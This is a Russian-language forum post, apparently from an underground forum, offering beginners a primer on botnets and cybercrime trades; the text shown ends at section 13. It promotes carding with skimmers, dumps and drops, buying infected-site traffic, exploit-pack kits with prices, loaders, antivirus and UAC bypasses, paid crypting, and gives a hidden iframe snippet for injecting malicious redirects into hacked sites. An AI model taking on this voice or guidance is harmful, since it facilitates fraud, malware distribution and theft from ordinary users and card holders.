Полезные знания Кое что по Ботнету для новичков

Djon

Опытный
Регистрация
28/11/16
Сообщения
2.099
Репутация
1.370
Реакции
9.700
RUB
0
Выжимки из разных мест и времени. Ссылки могут не работать, а цены быть не актуальны на сегодня. Но в общем думаю будет любопытно.

Оглавление


1. Профессия

2. Трафик

3. Эксплоит

4. Шелл-код

5. Связка сплоитов

6. Инсталл

7. Лоадер

8. Обходы

9. Отстук

10. Крипт

11. Криптор

12. Ифрэйм/Ифрэймер

13. Шелл/WEB-шелл

14. Не стандартное внедрение шелла на сайт

15. Joiner

16. Keylogger

17. Sniffer

18. Rat

19. Стилер

20. Социальная инженерия

21. DOS/DDOS

22. http-флуд

23. Ping-флуд

24. SYN-флуд

25. Руткит

26. Как защитить ботнет



1. Профессии



Для начала хочу сказать что многим данный туториал может не понравится, потому что в нем будут описаны некоторые "мего супер пуппер крутые темы" которые не каждый мозг может понять. Так что если вы вспыльчивый, нервный или просто не благодарный человек прошу данный туториал не читать. Так же хочу сказать что информация выложена тут это мое личное понимание ситуации в наше время, потому данная информация может быть "не верна" для некоторых людей. Информация в данном туториале не будет полна, но ее хватит для понимания о том что у нас происходит. Перед тем как я не посредственно подойду к описанию всех профессий, я хочу сказать что тут нету "тяжелых" профессий, каждый человек (под человеком понимается существо у которого есть пара извилин и который умеет читать) может выбрать профессию для себя и легко по ней работать. Проблема тут только одна, это время которое вкладывается в понимании определенного вопроса. Конечно реально знающих людей найти очень тяжело в любой сфере, каждый выбирает себе местечко где платят много и где нужно работать мало, потому даже не пытаются углубляться в понимания своей сферы пока не произойдет чего-то неожиданного.



Содержание

1. Хакинг

2. картинг

3. Кодинг

4. Админинг

5. Спаминг

6. Сеошинг

7. Коммандинг



Хакинг

Начнем с самого известного ремесла в интернете.

В наше время можно найти много утилит которые сделаю за вас всю работу. Чтоб стать хакером иметь прямые руки не обязательно, как и ни в одной из профессий приведенных в данном туториале.

Что нужно знать юному хакеру:

Трафик(трафф) -> это юзер который сидит за компом и юзает браузер.

Загрузки(лоады) -> это уже жертва, на которой был установлен определенный софт

Експлоит пак -> это то, что превращает трафик в лоады ) в наше время приблизительный конверт у паблик паков доходит до 20%.

Лоадер -> программа которая загружается на компьютер жертвы и которая может загружать другие программы, предпочтительно без ведома пользователя

Думаю пока самые главные термины были описаны. Теперь самая главная часть данного туториала: ВЗЛОМАТЬ МОЖНО ВСЕ.

Да, я специально выделил данный текст, чтоб потом не было никаких вопросов не в тему.

В двух словах, чтоб взломать определенную ЕБМ (электронно вычислительную машину, под ней будет пониматься сервер, простой компьютер, рутер и т.д.) нужно найти в ней уязвимость (так же известную под багом) потом ее использовать . Конечно почти всегда нахождение такой не будет очень легким заданием, но как и было написано выше, есть программы которые выполняют эту задачу за вас.

Тру хакеры очень редко ломают емейлы/одноклассников/и прочую лабуду, они предпочитают ломать то за что хорошо платят. Цена на взлом емейла конечно может доходить и до пары тысяч долларов, но это происходит в очень редких случаях.

Чтоб не тянуть лямку, скажу, чтоб взломать емейл/одноклассников/и т.д. нужно сделать одно из следующих:

взломать сервер (почти всегда самый сложный вариант)

подобрать пароль/секретний вопрос/принять смс/и т.д. (почти всегда самый легкий вариант)

найти баг типа ХСС на сервере который использует жертва / послать жертву на определенный сайт

Теперь поговорим о взломе серверов, чтоб его взломать нужно в некоторых случаях найти баги типа буффер оверфлоу, скл/пхп/асп/етс. инъекция, и уже используя их вытянуть вкусности из сервера. Сервер можно использовать для следующего:

продавать трафик (не обязательно на експлоит пак, подробнее будет описано в секции про Сеошынг)

получить базу данных

использовать сервер как бота

продать

Продавать трафик не выгодно, никто, никогда не будет продавать вам золотой трафик за 1~20$ за 1000 уников. Потому многие работают под % от денежных заливов, это самый выгодный вариант, так как при хорошей реализации можно получить в сотни раз больше денег за тот же трафф.

Базу данных можно использовать в разных сферах, если можно раскритиковать пароли и в базе есть емейлы то можно использовать ее под спам. Если в базе есть кредитные карты то можно продать кардерам, что так же не очень хороший вариант так как это не выгодно, намного выгоднее давать карты на реализацию.

Использовать сервер как бота можно в разных ситуациях, иногда нужен ддос с хорошим каналом, а каналы у серверов по круче чем у простых смертных.

Ну или если нету желания играться с сервером то его можно нагло продать, чтоб другой человек его реализовал.


картинг

картинг можно разделить на две под-сферы, первая работа в оффлайне(не у компьютера) и вторая в онлайне. Работа в оффлайне очень хорошо оплачеваема, плохая сторона в том что нужно иметь некие инвестиции для начала работы, эти инвестиции нужны или для масок/красивой одежды(если дело идет о снятии денежных средств с карт) или для материала, самих карт или для записывающих устройств на карты или для чтения с них.

Начнем с простого в онлайне есть 3 понятия которые должны знать юные кардеры:

пластик/кредитка/картонка -> это кусок пластика, в наше время говорится о пластике с магнитной лентой на которые записаны данные.

мср/magnetic stripe recorder -> устройство для записи данных на магнитную ленту карты.

ским/скиммер -> устройство для установления на банкомат для чтения данных с карт, в наше время эти устройства могут слать данные на мобильный телефон, по радио волне или просто записывать данные на карту памяти.

дамп -> данные которые можно найти на кредитной карте.

В наше время, в паблике, кардеры еще не додумались что можно читать чип который устанавливается все больше на кредитные карты. Потому будем говорить только о данных снятых с магнитной ленты.

Дампы бывают разные, иногда идет только 2й трек, иногда 2й трек+пин, в открытом доступе можно найти много продавцов 2ого трека, а вот второй вариант уже просто не найти. Со вторым треком можно шопится(ходить по магазинам) в некоторых странах это можно делать без подтверждения пина, но в банкомат такую карту сунуть никто не будет, потому что он сразу запросит пин. 2й трек с пином можно только найти под реализацию, в наше время люди которые могут доставать дампы с пином дают до 30% нальщикам которые их будут выводить, с таким дампом можно уже и шопится и бегать по банкоматам.

Конечно полиция, создатели/кодеры ПОСов стараются ставить защиту, но включая мозг ее можно с легкостью обойти.

Теперь немного про работу в онлайне. Тут есть есть тоже пара интересных терминов:

кредитка/картонка/cc -> это данные которые записаны на поверхность карты, они должны включать номер карты(в размере 16 символов)имя холдера и дата когда карта стает не валидной. Не всегда обязательные данные могут включать ccvn(credit card verification number, в размере 3 или 4 символов), город, зип, адресс и страну холдера данной карты.

енролл -> онлайн доступ к карте, в котором можно проверять баланс и оплачивать ею в интернете.

шоп/магазин -> онлайн магазин продающий товары которые можно оплатить картонкой или другой онлайновой валютой.

антифрод/antifraud -> защита в конторе принимающей кредитные карты которая иногда может проверять страну холдера, адресс холдера, имя на человека куда шыпается товар и т.д.

схема -> возможность обходить определенный антифрод или название конторы которая его не имеет

дроп -> человек который приймет денежный залив или вещи посланные с магазина

вбив -> процесс пополнения/оплаты в определенном(й) шопе/конторе

Так же есть много контор которые разрешают пополнять свой баланс кредитной картой например PayPal, MoneyBookers, Liberty Reserve.

Некоторые очень дорожат своими схемами и по ним работают, почти всегда если тема попадает в паблик ее начинают массово использовать и убивают, самое интересное то чтоб найти такую схему иногда достаточно прочитать дисклаймер или поюзать шоп/контору пару раз, в теории не выгодно продавать схему которая приносит хороший заработок, потому советую их не покупать, и использовать мозг.

Теперь самое сложное, для работы нужно найти дропа(некоторые умники даже их не ищют и принимают вещи/деньги на себя, не всегда это хорошо заканчивается) потом найти шоп/контору, если это шоп найти интересные товары и потом их купить картонкой и послать дропу, если это контора пополнить счет и сделать вывод на дропа.


Кодинг

Раньше считалось одной из самых сложных работ, но теперь в интернете можно найти полно языков программирования которые делают все за вас.

Для начала начнем с терминов:

язык программирования -> язык написания программ

эксплоит пак -> это то что превращает траффик в лоады ) в наше время приблизительный конверт у паблик паков доходит до 20%.

лоадер -> программа которая загружается на компьютер жертвы и которая может загружать другие программы, предпочтительно без ведома пользователя

стилер -> програма которая крадет определенные данные

бот -> програма которая сидит на компьютере у жертвы и выполняет определенные действия, она может красть данные, может их изменять и т.д.

криптор -> програма которая скрывает от антивирусов ботов, стилеров, лоадеров и експлоит паков.

Чтоб начать зарабатывать деньги нужно как минимум частично знать как работает определенная програма чтоб ее написать. Многие понимают что самым легкий и менее мозгоиспользуемым вариантом является видоизменение чужого кода, потому в интернете можно увидеть много программ которые делают одно и то же, теми же методами и имеют другой интерфейс. Так же легко почитав пару туториалов написать криптор.

Программированные можно разделить на две части, клиентская часть и серверная часть. Клиентская часть это программа которая будет использоваться на стороне клиента, т.е. жертвы, такие программы для виндовса можно писать на Си/Си++/АСМ/Вижуал бейсике и т.д, для линуксов/униксов (тех же маков) можно писать программы на Си/Си++/АСМ/Перле/Питоне и т.д. Серверную же часть почти всегда пишут на пхп и в очень редких случаях на Си.

Важно понять что автоматизировать можно ВСЁ и тут кто не согласен просто не имеет уровень знаний нужный для этого.


Админинг

Админинг это простая администрация определенного сервера(ов) или клиентских компьютеров. Тут нужно просто знать что происходит, и для полного понимания и решения всех задач админу нужно уметь читать документацию и иногда писать скрипты для автоматизации работы. Данная профессия легко понимаема потому что по ней очень много всего написано. Но как и везде есть админы которые не всегда знают что делают. Цены на админов разные некоторые просят только администрировать ботнет (т.е. смотреть за веб сервером и иногда за хостом) важно понимать что админ не всегда будет у сервера и некоторые проблемы могут не быть решены им и должны будут проходить к саппорту самого хостинга. Иногда просят админить только мускуль базу или распределять нагрузку. В нашей свфере очень редко ищются админы со знанием сетей и их комплектующих (Cisco, Juniper, и т.д.) но знать как проходят пакеты до самого сервера иногда очень важно, потому что не всегда кодеры могут без помощи админов решить такие проблемы как ботов.


Спаминг

Как видно из названия это простая отправка писем.

Тут как и в остальных профессиях нет ничего сложного, многие спамеры просто покупают софт который шлет письма, потом покупают прокси и мейл акки (с пассами) и делают рассылку. Важно понимать что если мейл база не высокого качества то отклик будет таким же, но и нужно понимать что так же не всегда все работает, потому спаммеры только занимаются спамом, что дает им возможность знать и контролировать весь процесс.

Чтоб стать спаммером нужно просто найти или написать софт для рассылки, сделать ботнет или покупать у других людей прокси и мейл акки.


Сеошинг

Тут нужно просто создавать и поддерживать сайты по определенным правилам.

Многие шлют траффик на партнерки, про этом получают оплату в зависимости от количества продаж или кликов (за клики платят все меньше, потому что кодеры поняли что этот процесс очень легко реализовать). Так же траффик полученный со своих сайтов можно слать на експлоит, но как и везде никто и никогда хорошый траффик продавать не будет. Для того чтоб стать сеошником нужно просто найти фришный хостинг или проплатить такой, есть много разных "тем" которые другие сеошники используют для получение денег, одним из таких можно считать создание беклинков на обменниках в которых можно видеть текст без скачки, некоторые знают на пару слов больше по которым ищют адалт контент или фарму, но это все простое использование мозга, если самому сесть и подумать можно придумать не одну сотню таких тем.

В том же адалте и фарме сеошники конкурируют со спаммерами.


Коммандинг

В теории это самая простая професия, так как тут нужно просто следить за всеми рабочими, в фирмах такое можно назвать менеджынг. Конечно многие не будут со мной согласны, и будут говорить что деньги не все умеют делить, что командовать чем-то очень сложно, но сложно тут ничего нету, иногда нужно просто знать пару слов с каждой тематики. Для начала работы нужны вложения, или умный подход к паблик софту.



2. Трафик



Трафик, в народе так же известен как трафф.

Трафик это количество уникальных посетителей на определенный сайт, которых можно перевести на другой сайт.

Трафик обычно считается в тысячах (К), т.е. объявления вида "куплю RU траф, до 500К в сутки" означает, что покупается трафик, пользователи должны быть из России, и покупается до 500 000 посещений в сутки.



Содержание

1. Источники

2. Тематика

3. GEO

4. Браузеры/ОС

5. Назначение

6. Качество/Пробив


Источники

Источниками трафика зачастую служат сайты.

Ифрэйм (iframe) траф - это трафик полученный с реальных сайтов путем вставки в код сайта конструкции HTML кода вида "iframe src=". Каждый посетитель такого сайта помимо просмотра нужного сайта в фоне грузит сайт указанный злоумышленником. Этот тип трафика является самым распространенным и в своем большинстве содержит живых посетителей.

FTP траф - это полный синоним ифрэймового. Имеется ввиду что заражение сайтов для ифрэйма происходит через ftp подключение.

Дорвейный/сателитный траф - это вид трафика немногим отличающийся от ифрэймового. Основное отличие в том, что дорвей - это специальным образом сделанный сайт который не имеет смысловой нагрузки, а предназначен для поисковых роботов таких как гугл и яндекс. Такие поисковые системы считают, что сайт правильный и посылают на него посетителей. Недостаток такого типа трафика в том, что пользователи задерживаются на таком сайте в среднем 5-25 секунд. И, бывает, что браузер не успевает выполнить все переходы нужные нам. Или же выполнить не до конца.

Спамовый траф - это трафик полученный путем спама через e-mail, icq, vkontakte и т.д. Обычно трафик такого типа очень неплох по своим показателям.

Адалт траф - этот тип трафика обычно выделяется в отдельную категорию, хотя может включать в себя все вышеперечисленные. Его отличие в тематике. Трафик такого типа получают с сайтов/дорвеев/сателитов эротической или порнографической тематики. Зачастую имеет низкие показатели качества, т.к. посетители таких сайтов из-за стереотипов включают все возможные антивирусы/фаерволы.

Генеренный траф - трафик создаваемый не пользователями, а ботнетами. Используется в 90% для накрутки рейтингов и счетчиков сайтов. Для других целей практически бесполезен.



Тематика

Трафик с женских сайтов и трафик с порно сайтов обладает различными стоимостными показателями.

Больше всего ценится трафик полученный с бизнес-сайтов. Менее всего с порно-сайтов.

Средним считается трафик с социальных сетей, форумов домохозяек и т.д.



GEO

Важным параметром в описании трафика является страна/страны его происхождения.

Так самым дорогим является трафик из США, Австралии, Великобритании и т.д.

Часто встречаемые описания MIX - означают, что трафик идет без выборки по странам, а полным набором. т.е. если англоязычный сайт посещают пользователи 10-15 стран, то весь этот трафик будет направлен покупателю.

Mix европа - означает что в списке стран происхождения трафика 90% трафика из европы.

Самым дешевым является трафик mix asia (азия). Трафик азиатского происхождения представляет слабый интерес для покупателей. В основном используется для ddos ботов.

Для отсеивания трафика по странам используется в 90% случаев TDS. (прим. будет отдельная статья)



Браузеры/ОС

В суммарном потоке трафика могут преобладать определенные браузера или операционные системы. Так в трафике с sms-спама будет огромное количество мобильных телефонов. Такой трафик не применяется для эксплоитов. В основном для рекламных целей.

Трафик с большим преобладанием Windows7 ценится меньше чем трафик с windows XP. А Linux/macOS трафик практически бесполезен.

Трафик с explorer-ом ценится выше чем трафик оперы и фаерфокса с хромом.



Назначение

Черное: имеется ввиду на незаконные дела. Под этим понятием подразумеваются различного рода схемы получения выгоды путем заражения пользовательского компьютера вирусами (синоним "траф на связку") либо получение выгоды путем обмана (например предложением покупки антивируса, который на самом деле не антивирус).

Белое: Имеется ввиду использование трафика для увеличения посещаемости легального сайта, либо накрутки рейтинга популярности или же количества показов рекламных материалов. Часто рекламодатели платят за показы рекламы. Вот для этого и используется такой тип трафика.



Качество/пробив

Трафик для связок сплоитов (прим. сделать линк) характеризуется тремя показателями: страной, тематикой и пробивом.

Пробив - это средний показатель срабатывания эксплоитов. Нормальным считается трафик с пробивом от 8 до 20%. Соответственно они и ценой будут сильно отличаться.



3. Эксплоит



Эксплойт, сплоит, exploit — это компьютерная программа, фрагмент программного кода или последовательность команд, использующие уязвимости в программном обеспечении и применяемые для проведения атаки на вычислительную систему. Целью атаки может быть как захват контроля над системой (повышение привилегий), так и нарушение её функционирования (DoS-атака).



Содержание

1. Классификация

2. Виды экспортов

3. Как выглядит эксплоит?

4. Актуальность


Классификация

В зависимости от метода получения доступа к уязвимому программному обеспечению, эксплойты подразделяются на удалённые и локальные.

  • Удалённый эксплойт работает через сеть и использует уязвимость в защите без какого-либо предварительного доступа к уязвимой системе;
  • Локальный эксплойт запускается непосредственно в уязвимой системе, требуя предварительного доступа к ней. Обычно используется для получения взломщиком прав Суперпользователь.
Атака эксплойта может быть нацелена на различные компоненты вычислительной системы — Сервер (программное обеспечение), Клиент/клиентские приложения или модули операционной системы. Для использования серверной уязвимости эксплойту достаточно сформировать и послать серверу запрос, содержащий вредоносный код. Использовать уязвимость клиента немного сложнее — требуется убедить пользователя в необходимости подключения к поддельному серверу (перехода по ссылке в случае если уязвимый клиент является браузером).



Виды эксплойтов

Эксплойты, фактически, предназначены для выполнения сторонних действий на уязвимой системе и могут быть разделены между собой следующим образом:

  1. Эксплойты для операционных систем
  2. Эксплойты для прикладного ПО (музыкальные проигрыватели, офисные пакеты и т. д.)
  3. Эксплойты для браузеров (Internet Explorer, Mozilla Firefox, Opera и другие)
  4. Эксплойты для интернет-продуктов (IPB, WordPress, VBulletin, phpBB)
  5. Эксплойты для интернет-сайтов (facebook.com, hi5.com, livejournal.com)
  6. Другие эксплойты


Как выглядит эксплойт?

Эксплойт может распространяться в виде исходных текстов, исполняемых модулей, или словесного описания использования уязвимости. Он может быть написан на любом компилируемом или интерпретируемом языке программирования (наиболее частые: C, C++, Perl, PHP, HTML+JavaScript)

Простой пример:

Допустим браузер Explorer неправильно выполняет следующий код "a href=`AABBCCDD=CCDDAABB(код программы)"

Таким образом на специальной странице сайта внедряется этот код с нужным блоком "код программы".

После захода браузера на эту страницу выполнится "код программы" и, в зависимости от его содержимого, произойдет какой-то набор действий браузером.

Эксплойты могут быть классифицированы также по типу используемой ими уязвимости, такой как: переполнение буфера, SQL-инъекция, межсайтовый скриптинг, подделка межсайтовых запросов и т. д.



Актуальность

Информация, полученная в результате обнаружения уязвимости, может быть использована как для написания эксплойта, так и для устранения уязвимости. Поэтому в ней одинаково заинтересованы обе стороны — и взломщик и производитель взламываемого программного обеспечения. Характер распространения этой информации определяет время, которое требуется разработчику до выпуска заплатки.

После закрытия уязвимости производителем шанс успешного применения эксплойта начинает стремительно уменьшаться. Поэтому особой популярностью среди хакеров пользуются так называемые 0day эксплойты, использующие недавно появившиеся уязвимости, которые еще не стали известны общественности.



4. Шелл-код



Шелл-код, shellcode, код запуска оболочки — это двоичный исполняемый код, который обычно передаёт управление командному процессору, например '/bin/sh' Unix, command.com в MS-DOS и cmd.exe в операционных системах Microsoft Windows. Шелл-код может быть использован как полезная нагрузка (эксплоитов), обеспечивающая взломщику доступ к командной оболочке в компьютерной системе.

При эксплуатации удаленной уязвимости шелл-код может открывать заранее заданный порт TCP уязвимого компьютера, через который будет осуществляться дальнейший доступ к командной оболочке, такой код называется привязывающим к порту. Если шелл-код осуществляет подключение к порту компьютера атакующего, что производится с целью обхода брандмауэра или NAT, то такой код называется обратной оболочкой.


Принцип работы

Шелл-код обычно внедряется в память эксплуатируемой программы, после чего на него передается управление путём переполнения стека, или при переполнении буфера в куче, или используя атаки форматной строки. Передача управления шелл-коду осуществляется перезаписью адреса возврата в стеке адресом внедрённого шелл-кода, перезаписью адресов вызываемых функций или изменением обработчиков прерываний. Результатом этого является выполнение шелл-кода, который открывает командную строку для использования взломщиком.



Обнаружение

Взломщики пишут шелл-коды часто используя приёмы, скрывающие их атаку. Они часто пытаются выяснить как системы обнаружения вторжений (СОВ) распознают любую входящую атаку. Типичная СОВ обычно просматривает все входящие пакеты в поисках структуры специфичной для шелл-кода (часто большой массив мусорных кодов, в простейшем случае NOP-ов); если она находит такую структуру, пакет уничтожается до того, как он достигнет своей цели. Слабая позиция СОВ в данном случае состоит в том, что она не осуществляет действительно хороший поиск иначе он займёт слишком много времени и таким образом замедлит соединение с интернетом.

Шелл-код почти всегда содержит строку с именем оболочки. Все входящие пакеты содержащие такую строку всегда рассматриваются как подозрительные в глазах СОВ. Также, некоторые приложения не принимают неалфавитно-цифровой ввод (они не принимают что-либо, кроме a-z, A-Z, 0-9, и несколько других символов.)

Для прохождения через все эти меры направленные против вторжения, взломщики используют шифрование, самомодифицирующийся код, полиморфный код и алфавитно-цифровой код.



5. Связка



Связка, связка сплоитов/эксплоитов, exploit pack - это набор эксплоитов направленный на несколько программ (версий) и/или под разные уязвимости в них. В последних версиях связок производится выбор эксплойта именно под конкретную программу пользователя.



Содержание

1. Принцип работы

2. Виды связок

3. Показатели пробива

4. Крипт

5. Отстук

6. Стоимость


Принцип работы

Трафик направляется на связку эксплоитов. Там происходит анализ каждого нового посетителя. Определяется его браузер, версии установленных плагинов, вероятные уязвимости и затем перенаправление на страницу со специально сформированным кодом. Браузер исполняя код подвергается атаке на переполнение и исполняет Шелл-код. Далее Шелл-код загружает на компьютер жертвы исполняемый файл (вирус/лоадер и т.д.) и запускает его.


Виды связок

Приват связки - это связки сплоитов разрабатываемые не для продаж. Обычно имеют "на борту" 0day уязвимости (т.е. уязвимости которые или вообще неизвестны разработчикам ПО или не исправленные разработчиками). За счет использования новых и незакрытых уязвимостей дают высокий процент срабатывания (далее "пробив").

Паблик связки делятся на два типа:

Платные - это связки которые можно купить. Обычно содержат общедоступный список уязвимостей. Отличаются внешним видом клиентской части (далее "админкой"), некоторой модификацией эксплоитов, криптом (методом сокрытия уязвимости от антивирусных сканеров), и часто шелл-кодом. От общего профессионализма автора зависит какой пробив даст в итоге такая связка.

  1. eleonore
  2. Fragus
  3. Katrin exploit pack
  4. Black hole
  5. Yes exploit system
Бесплатные - это бывшие платные связки волей случая попавшие для всеобщего скачивания на форумы/сайты, либо изначально открыто разрабатываемые (таких очень мало).

  1. Salo exploit pack
  2. Kode exploit

Показатели пробива

Зависят от нескольких основных параметров:

  1. Количества и качества эксплоитов
  2. Качества Трафика

Для приватных связок нормальным считается пробив в районе 20-30%. Очень редко слышал о пробиве в 40%.

Для платных паблик связок нормальным считается пробив в районе 10-25%. На хорошем трафике можно наблюдать пробив в 30%. Но это огромная редкость.

Для паблик связок пробив считается нормальным в районе 1-10%.


Крипт

Это понятие содержит в себе модификацию сплоитов и способа их выдачи браузеру таким образом, при котором антивирусы ничего не заподозрят. От крипта зависит дойдет ли браузер до исполняемого кода или же антивирус остановит загрузку страницы на этапе проверки.

Крипт связки обычно делается автором связки. Довольно редко крипт делают сторонние сервисы. Криптуют или всю выдачу целиком или отдельные сплоиты в комплекте. Стоимость крипта варьируется в пределах 40-150$. Делается, в зависимости от необходимости, раз в неделю/месяц. Временной интервал зависит от качества крипта и количества пользователей связки.


Отстук

Практически каждая связка показывает сколько было срабатываний сплоитов. (т.е. пробив)

Но это не значит, что столько же раз сработает ваш исполняемый файл. Для хорошей связки нормальный отстук варьируется в пределах 60-80%. Плохим отстуком считается <55%.

Читаем так же Отстук


Стоимость

Приватные связки по определению не продаются.

Полуприват - это так называемые бывшие приватные связки - стоимость варьируется в пределах 3 000 -10 000 $.

Паблик платные - стоимость варьируется 1000 - 3 000 $.

Паблик - по определению бесплатные.



6. Инсталл



Инсталлы (синонимы:загрузки, лоады, loads)

Инсталлы это количество уникальных установок вашего софта на определенные компьютеры.

Инсталлы проводятся используя експлоит пак или Лоадер.

Считается в тысячах (К).

Читайте так же Отстук



7. Лоадер



Лоадер, loader

В базовом понятии под словом "лоадер" понимается некое программное обеспечение выполняющее функции доставки ваших файлов на компьютер жертвы.

Принцип работы следующий:

Со связки, другого лоадера или по средствам прямых загрузок пользователю на компьютер доставляется и запускается лоадер. Зачастую это небольшого размера исполняемый файл, который при запуске скачивает из интернета один или несколько ваших файлов на компьютер жертвы и запускает их.


Админка

Лоадеры бывают с админкой и без.

Если лоадер без админки, то адреса по которым он должен скачать файл/файлы записаны зачастую прямо в его теле.

В некоторых случаях, когда лоадер не криптован/не пакован можно открыть exe файл любым HEX редактором.

Если лоадер с админкой - то исполняемый файл (exe) обращается к административной части (админке), получает там задания и исполняет их.

После исполнения, если это предусмотрено автором лоадера, происходит повторное обращение к админке и отправляется отчет об успешном выполнении задания.



Типы

Существует два основных типа лоадеров. Резидентные и нерезидентные.

Нерезидентные - запускаются в системе, выполняют задания, а после перезагрузки умирают.

Примером нерезидентного лоадера с админкой является известный продукт Dloader

Резидентные - при первом запуске прописываются в системе (либо в реестре, либо как сервис, либо в атозагрузку и т.д.), и только после этого начинают выполнять задания. После перезагрузки компьютера жертвы лоадер вновь загружается в память компьютера и, если появились новые задания, выполняет их. Зачастую, период времени между проверками существования новых заданий указывается либо автором при написании лоадера, либо в административной части ботнета. И лоадер при первом/каждом посещении админки считывает это число и обращается за новыми заданиями с указанной периодичностью. От временного интервала зависит в первую очередь создаваемая нагрузка на сервер с административной частью. Если период маленький - частые обращения создадут большую нагрузку и сервер просто зависнет. Если период очень большой - оперативно выполнить задание всеми ботами не удасться. Примеры резидентных лоадеров: PIDLoader, MyLoader, ElitLoader, LiteLoader.

Читаем обязательно Отстук



8. Обходы



Под обходами понимается возможность лоадера или иного ПО нормально работать не вызывая срабатываний Антивирусов (проактивного модуля антивируса), Фаерволов и/или стандартной защиты операционной системы windows.

Таким образом обходом считается полностью незаметное срабатывание вашего exe файла.


Обходы обычно делят на три подкласса:

Обход UAC - это срабатывание не вызывающее стандартные сообщения windows о запускаемом ПО и разрешение на добавление в стандартный фаервол.

Обход проактивки определенного антивируса или набора антивирусов.

Частичный обход - при данном обходе фаервол/антивирус выпускает ваш файл в сеть, но выдает пользователю некое окошко в котором уведомляет о автоматически созданном правиле, либо о добавлении данного файла в категорию слабых ограничений.

Обход фаервола - это незаметный выход в сеть вашего файла и при этом ни один из указанных фаерволов никак не среагируют.

При этом cчитается, что настройки фаервола или антивируса стоят по умолчанию. И пользователь не включал никаких параноидальных настроек.

Пример:

В описании малвари написано обход KIS, comodo, avast

Это значит, что на указанном программном обеспечении на стандартных настройках не возникнет никаких надписей.

Пример2:

обход KIS

частичный обход (или обход с уведомлением) NIS (norton internet security)

Это значит Kis ничего не выдаст, а NIS пропустит файл, но проинформирует о своем решении пользователя.



9. Отстук



Под отстуком понимается успешный процент запуска.



Со связки

Допустим ваш файл загружали со связки. В этом случае связка показывает некое число пробитых компьютеров. Скажем - 1000.

В админке у вас показывает, что всего 645 зараженных машин (далее - ботов). В этом случае отстук бота со связки составляет 645*100/1000=64,5%.

Показатели отстука во многом зависят от ряда факторов: самой связки, качества бота, чистоты бота (т.е. определяют ли его антивирусы или нет), качества крипта, качества трафика и т.д.

По моим наблюдениям нормальными считаются показатели от 60 до 85%. За редким случаем удачного симбиоза бота и связки этот показатель может достигать >85%.



С лоадера

Некоторые продавцы загрузок отказываются напрямую грузить ваш файл мотивируя тем, что неизвестно какого он качества и не понятно как он будет отстукивать. И грузят со связки свой лоадер с хорошими показателями отстука, а только затем ваш лоадер/вирус/и т.д. по списку.

В этом случае показатели отстука вашего бота должны быть в пределах 80-99% при условии, что ваш файл абсолютно работоспособен, не определяется антивирусами, и очень хорошо ведет себя в системе не вызывая подозрения антивирусных программ и пользователей.



10. Крипт



Крипт, crypt - процесс сокрытия вашего вредоносного кода от антивирусов (далее по тексту АВ).

К процессу крипта относят три основных понятия:

  • Крипт exe файлов
  • Крипт сплоитов/связок
  • Крипт (или псевдо-крипт) iframe кода

Крипт exe

Это процесс модификации кода вашего файла (exe/dll) таким образом, при котором сохранится работоспособность самого файла и при этом все антивирусы будут считать что файл безвредный для системы. Это достигается различными способами. Самые простые - это добавление в код файла мусорных секция или ложных вызовов и прыжков. Такой простейший способ давно потерял свою актуальность ввиду развития антивирусов и логистических способов анализа файла (эвристический анализ).

Сейчас применяются более сложные способы которые включают в себя огромный комплекс модификаций файшего файла. И чем изощереннее способы тем дольше ваш файл будет оставаться "чистым" для АВ.

Такой крипт бывает двух видов:

  • Ручной - это когда ваш файл модифицируется ручным способом индивидуально под задачу. Считается, что такой способ дает более качественный результат и файл дольше остается "чистым".
  • При помощи криптора - это автоматический способ при котором заранее написана программа, которая и производит ряд стандартных для каждого файла модификаций. Такой способ считается менее надежным т.к. процедуры производимые над файлом одинаковы для всех файлов. Что в свою очередь значит, что если один из файлов попался на "улов" к АВ то и все остальные в ближайшее время начнут детектиться (определяться АВ как вредоносные).
При каждой такой модификации (процессе) размер файла увеличивается на определенное количество килобайт. Этот размер у каждого сервиса/криптора разный и может варьироваться от 5кб до 300кб. Чем меньше - тем лучше. Добавочный размер называется СТАБ-ом. Цена варьируется в пределах 5 - 50$. Автоматический (при помощи криптера стоит 5-15$), ручной стоит 25-50$.


Крипт сплоитов/связок

Это процесс модернизации эксплоитов в связке до отсутствия срабатывания АВ. Принцип во многом схож с обычным криптом, но и при этом значительно отличается т.к. приходится работать сразу с несколькими языками программирования и модификаторами. Такой крипт значительно сложнее и очень редко происходит в автоматическом режиме. Сплоиты постоянно меняются и каждый раз приходится придумывать новые способы. Стоимость варьируется в пределах 20-100$ в зависимости от сложности работы.


Крипт Iframe

Это процесс обфускации (изменения iframe кода) до состояния отсутствия реакции АВ. Зачастую связан с сложными модификациями на языке JavaScript. Стоит в пределах 5-15$. Часто автоматический.



11. Cryptor



Криптор (Cryptor) - Программа предназначенная для скрывания ваших вирусов от антивирусов (крипт). Бывают Полиморфные, Метаморфные, Рантайм, СканТайм. Некоторые из разновидностей крипторов используют стаб.

Стаб - это размер на который увеличится ваш файл после крипта.

Рантайм и(или) Скантайм - Обладают стабом. Этими выражениями определяется будет ли файл выходить из своей оболочки помещая оригинальную копию файла в Windows(или другую папку) или нет. Полиморфный - Полиморфные крипторы обычно не имеют стабов. Для каждого файла создается отдельная сигнатура по которой потом шифруется весь файл. Метаморфный - Метаморфные крипторы так же не имеют стабов. Они полностью или частично заменяют код программы оставляя саму программу в рабочем состоянии.



12. Ифрэйм



Ифрэйм, iframe - это два понятия объединенные одним словом.


Iframe код

Это способ управления трафиком, а вернее - способом его отправки на нужный нам адрес. Данный способ заключается в вставке в страницу сайта специально сгенерированного кода, который незаметно от пользователя подгружает в фоновом режиме нашу страницу. Такой трафик используется как для связок так и для накрутки посещаемости сайтов и др.

Метод довольно прост. В тело сайта вставляется код вида <iframe src=‘ style='visibility:none'></iframe>

Такой код и выполнит незаметный для пользователя фоновый переход на сайт site.com.

Читать также крипт


Iframe процесс

Это сам процесс внедрения нашего iframe кода на страницы сайта. Он бывает ручным и автоматическим.

  • Ручной - это когда пользователь сам заходит по ftp или через шелл на сайт и размещает в зависимости от ситуации код на сайте.
  • Автоматический - это процесс использующий программные средства. Такие программы называются фрэймерами (ифрэймер), которые работают в автоматическом режиме и сами размещают код на сайтах. Естественно, что ифрэймер обрабатывает намного больше сайтов за единицу времени. Но эти продукты имеют и недостатки. К ним можно отнести "тупость". т.е. программы зачастую вставляют код во все доступные (html и php) файлы не делая выбор где нужно, а где нет. Такой процесс может сделать сайт неработоспособным. "Умные" фрэймеры делают процесс более результативным. Они анализируют файл перед вставкой кода и решают нужно ли вставлять код или нет. Такие продукты несколько дороже. Пример: Ziframer (для *nix систем) и FTP_admin (для win систем).


13. Шелл



